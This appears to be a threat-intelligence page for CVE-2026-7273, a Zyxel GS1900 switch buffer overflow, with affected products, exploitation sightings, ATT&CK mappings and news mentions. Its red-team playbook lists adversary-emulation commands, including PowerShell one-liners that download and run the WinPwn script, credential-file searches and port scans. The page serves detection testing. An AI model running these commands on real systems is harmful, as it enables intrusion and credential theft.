CVE-2026-7273

HIGH CISA KEV TTE 97d Pub 16/06 Upd 22/09

Overview

This vulnerability is a stack-based buffer overflow occurring within the CGI program of the Zyxel GS1900-48HPv2 firmware. It results from improper bounds checking on input data processed by the CGI component, allowing excessive data to overwrite the stack memory. The flaw specifically affects firmware versions up to 2.90(ABTQ.1)C0, compromising the integrity of the device's HTTP request handling subsystem.

Vulnerability Description

A stack-based buffer overflow vulnerability in the CGI program of Zyxel GS1900-48HPv2 firmware versions through 2.90(ABTQ.1)C0 could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.

Impact

An unauthenticated attacker on the local area network can exploit this vulnerability to execute arbitrary operating system commands with the privileges of the affected device. This can lead to full device compromise, enabling unauthorized control over network traffic and configuration. No user interaction or credentials are required, increasing the risk of lateral movement within the internal network and potential disruption of network services.

Solution

Zyxel has released a security advisory recommending upgrading the GS1900-48HPv2 firmware to versions later than 2.90(ABTQ.1)C0 to address this buffer overflow vulnerability. Administrators should apply the update as detailed in Zyxel’s official advisory at https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-stack-based-buffer-overflow-vulnerability-in-gs1900-series-switches-06-16-2026. No alternative workarounds are provided.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products (10)

Vendor Product Version CPE
zyxel Zyxel Gs1900-10hp Firmware All cpe:2.3:o:zyxel:gs1900-10hp_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-16 Firmware All cpe:2.3:o:zyxel:gs1900-16_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-24 Firmware All cpe:2.3:o:zyxel:gs1900-24_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-24e Firmware All cpe:2.3:o:zyxel:gs1900-24e_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-24ep Firmware All cpe:2.3:o:zyxel:gs1900-24ep_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-24hpv2 Firmware All cpe:2.3:o:zyxel:gs1900-24hpv2_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-48 Firmware All cpe:2.3:o:zyxel:gs1900-48_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-48hpv2 Firmware All cpe:2.3:o:zyxel:gs1900-48hpv2_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-8 Firmware All cpe:2.3:o:zyxel:gs1900-8_firmware:*:*:*:*:*:*:*:*
zyxel Zyxel Gs1900-8hp Firmware All cpe:2.3:o:zyxel:gs1900-8hp_firmware:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Considerable activity

Threat Feed

14 events
2026-11-07
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-11-05
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-11-04
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-18
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-12
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-28
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-25
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-24
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-09-23
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-09-22
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-09-21
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-09-21
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Detected as Exploited in the Wild (64 sightings)

Active exploitation confirmed with 64 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Buffer Overflow
100% buffer_overflow
Remote Code Execution
70% rce

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell) 
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash) 
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell) 
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell) 
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell) 
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell) 
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell) 
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell) 
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1046 Windows - Port Scan using RustScan (Port list) Windows PowerShell
Scan ports on a target host using RustScan. Downloads the portable RustScan release binary and scans 127.0.0.1 by default. Uses --greppable so that nmap is not a dependency.
Command (PowerShell) 
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell) 
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell) 
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

News (1)

Mentions (50)

32 mentions from 27 sources in the last 7 days BuzzFactor 91 / 100

  • social bsky.app @diesec.bsky.social 2026-11-09 09:00 UTC
    Patched Zyxel GS1900 switches were still exploitable. Attackers used CVE-2026-107441 (CVSS 8.8 to 9.8), not the June-patched CVE-2026-7273. Fix: Patch 3. As of Nov 6, not in CISA KEV. Check firmware, rotate credentials. #Zyxel diesec.com/2…
    Open source
  • social bsky.app @pvynckier.bsky.social 2026-11-08 11:48 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441) - Help Net Security www.helpnetsecurity.com/2026/11/05/z...
    Open source
  • social bsky.app @z3usalmighty.bsky.social 2026-11-07 15:50 UTC
    GreyNoise tied attacks on 996 GS1900 switches to CVE-2026-7273, but Binarly says the observed exploit matches a separate flaw, tracked as CVE-2026-107441. CISA's KEV catalog lists only the first. If your inventory resolves CVE IDs to patch…
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-11-06 12:43 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441) Zyxel GS1900 series network switches that received a fix for a flaw that was later reported to have been exploited in the wild are still open to an exploi…
    Open source
  • social bsky.app @kitafox.bsky.social 2026-11-06 01:59 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441)（Zyxelの修正済みスイッチにも別の悪用脆弱性が残存） #HelpNetSecurity (Nov 5) www.helpnetsecurity.com/2026/11/05/z...
    Open source
  • social bsky.app @kitafox.bsky.social 2026-11-06 01:18 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441)（修正済みZyxelスイッチも別の悪用脆弱性にさらされていた） #HelpNetSecurity (Nov 5) www.helpnetsecurity.com/2026/11/05/z...
    Open source
  • social bsky.app @hapsis.bsky.social 2026-11-05 18:59 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441) www.helpnetsecurity.com/2026/11/05/z... #Kyberturvallisuus #Kyber #Tilannekuva
    Open source
  • social bsky.app @runbooklab.bsky.social 2026-11-05 16:34 UTC
    Zyxel GS1900: the June fix for KEV CVE-2026-7273 does not stop the exploit. Binarly says a second flaw, CVE-2026-107441, was exploited as a zero-day. Do this: move .2)C0 or earlier to the .3)C0 firmware. Check: firmware on each switch Sour…
    Open source
  • social mastodon.social @burso 2026-11-05 16:34 UTC
    Zyxel GS1900: ~996 switches hit via zero-day CVE-2026-107441 (unauth OS cmds). June's CVE-2026-7273 patch didn't stop it. Flash 2.90 Patch 3; rotate creds if exposed. # Zyxel # CVE # CyberSecurity # AI
    Open source
  • news infosecurity-magazine.com 2026-11-05 15:15 UTC
    Zyxel Switch Patch Missed Flaw Behind Wave of Attacks - Infosecurity Magazine
    Open source
  • social bsky.app @newssecia.bsky.social 2026-11-05 14:29 UTC
    🤖 CVE-2026-107441: pre-auth RCE in Zyxel GS1900 switches. OOB write in dispatcher.cgi on HTTP POST → root command exec, no auth. Exploited in the wild as a 0-day; the earlier CVE-2026-7273 patch didn't cover it. Firmware fix for 10…
    Open source
  • social infosec.exchange @cloud 2026-11-05 14:29 UTC
    🤖 CVE-2026-107441: pre-auth RCE in Zyxel GS1900 switches. Out-of-bounds write in dispatcher.cgi (boa web server) on HTTP POST, reachable without login → root command execution. Exploited in the wild as a 0-day; Binarly shows the earlier CV…
    Open source
  • social bsky.app @securityrss.bsky.social 2026-11-05 12:35 UTC
    A zero-day vulnerability in Zyxel GS1900 switches, tracked as CVE-2026-107441, has been exploited by hackers to hijack devices. The flaw allows attackers to execute commands as root without authentication. Despite a previous patch (CVE-202…
    Open source
  • social bsky.app @helpnetsecurity.com 2026-11-05 12:15 UTC
    Patched Zyxel GS1900 switches remained open to in-the-wild exploit (CVE-2026-107441) 📖 Read more: www.helpnetsecurity.com/2026/11/05/z... #cybersecurity #cybersecuritynews #0day #exploit @binarly.bsky.social @greynoise.io
    Open source
  • social bsky.app @deafnews-auto.bsky.social 2026-11-05 12:06 UTC
    Partial Zyxel Patch: 996 GS1900 Switches Compromised by New CVE-2026-107441
    Open source
  • news securityweek.com 2026-11-05 11:03 UTC
    Zyxel Switch Hacks Blamed on Patched Flaw Actually Exploited a Zero-Day - SecurityWeek
    Open source
  • social bsky.app @cyberveille-ch.bsky.social 2026-11-05 10:00 UTC
    📢 Zyxel corrige un zero-day exploité par Kapibala pour compromettre 996 switches GS1900 BleepingComputer, publié le 4 novembre 2026. Zyxel a corrigé une vulnérabilité zero-day (CVE-2026-107441) affectant ses switches réseau de la… 🟢 vérifi…
    Open source
  • social bsky.app @infosecbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • social bsky.app @javascriptbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • social bsky.app @devopsbriefly.bsky.social 2026-11-05 08:33 UTC
    Zyxel GS1900 switches with earlier CVE-2026-7273 fixes remain vulnerable; new firmware patches CVE-2026-107441 to close an unauthenticated command-execution flaw.
    Open source
  • news thehackernews.com 2026-11-05 07:06 UTC
    Zyxel GS1900 Patch Fails to Block Zero-Day Exploit Allowing Root Command Execution - The Hacker News
    Open source
  • social bsky.app @cybercaptain.cc 2026-11-05 07:03 UTC
    A zero-day (CVE-2026-107441) in Zyxel GS1900 switches bypassed a June patch (CVE-2026-7273) via a buffer overflow workaround. 996 devices were hacked to steal configs and credentials. #ZeroDay #Zyxel
    Open source
  • social infosec.exchange @cloud 2026-11-05 06:18 UTC
    🤖 CVE-2026-107441: pre-auth OOB write in Zyxel GS1900 web admin, crafted HTTP → OS command exec. ~1,000 switches hit, configs and root hashes stolen. Exploit still worked after June's CVE-2026-7273 fix. 10 models affected; firmware out Oct…
    Open source
  • news secnews.gr 2026-11-05 04:42 UTC
    Zyxel GS1900: CVE-2026-107441 is linked to attacks and has been fixed - SecNews.gr
    Open source
  • social bsky.app @johonotodai.bsky.social 2026-11-05 00:38 UTC
    Zyxel GS1900の修正済み脆弱性をすり抜けるゼロデイCVE-2026-107441、約1,000台が侵害済み
    Open source
  • social infosec.exchange @cyberseckyle 2026-11-04 23:45 UTC
    Zyxel fixed CVE-2026-107441 on GS1900 switches. A LAN-side CGI flaw could allow unauthenticated OS command execution. Check the exact model and install its 2.90 firmware patch. This is separate from CVE-2026-7273, exploited in September; n…
    Open source
  • social bsky.app @abijita.bsky.social 2026-11-04 22:28 UTC
    Zyxel GS1900 Exploit Used Separate Zero-Day, Binarly Says Binarly says the exploit previously linked to CVE-2026-7273 actually targeted a separate GS1900 zero-day, CVE-2026-107441.
    Open source
  • social infosec.exchange @117202824925377048 2026-11-04 16:18 UTC
    Binarly believes that Chinese threat actor Red Heron was exploiting a different Zyxel GS1900 vulnerability than CVE-2026-7273, and its patch remained ineffective. They assess that CVE-2026-107441, a pre-auth RCE vulnerability, was exploite…
    Open source
  • social bsky.app @infosec.skyfleet.blue 2026-11-04 12:38 UTC
    Hackers Exploit Zyxel GS1900 Zero-Day in the Wild to Hijack Network Switches
    Open source
  • social infosec.exchange @116797276219291526 2026-11-04 01:41 UTC
    Zyxel GS1900 zero-day CVE-2026-107441 was exploited in the wild and bypasses the CVE-2026-7273 patch. Install the October 22 firmware now. # Zyxel # GS1900 # ZeroDay # CVE2026107441 # CVE20267273 # ExploitedInTheWild # NetworkSecurity # Pa…
    Open source
  • social bsky.app @securityonline.bsky.social 2026-11-04 01:41 UTC
    Zyxel GS1900 zero-day CVE-2026-107441 was exploited in the wild and bypasses the CVE-2026-7273 patch. Install the October 22 firmware now. #Zyxel #GS1900 #ZeroDay #CVE2026107441 #CVE20267273 #ExploitedInTheWild #NetworkSecurity #PatchNow
    Open source
  • social bsky.app @mer0x36.bsky.social 2026-11-03 19:57 UTC
    Our latest research covers a zero-day in Zyxel devices www.binarly.io/blog/zyxel-g...
    Open source
  • social bsky.app @getpokemon7.bsky.social 2026-10-23 20:41 UTC
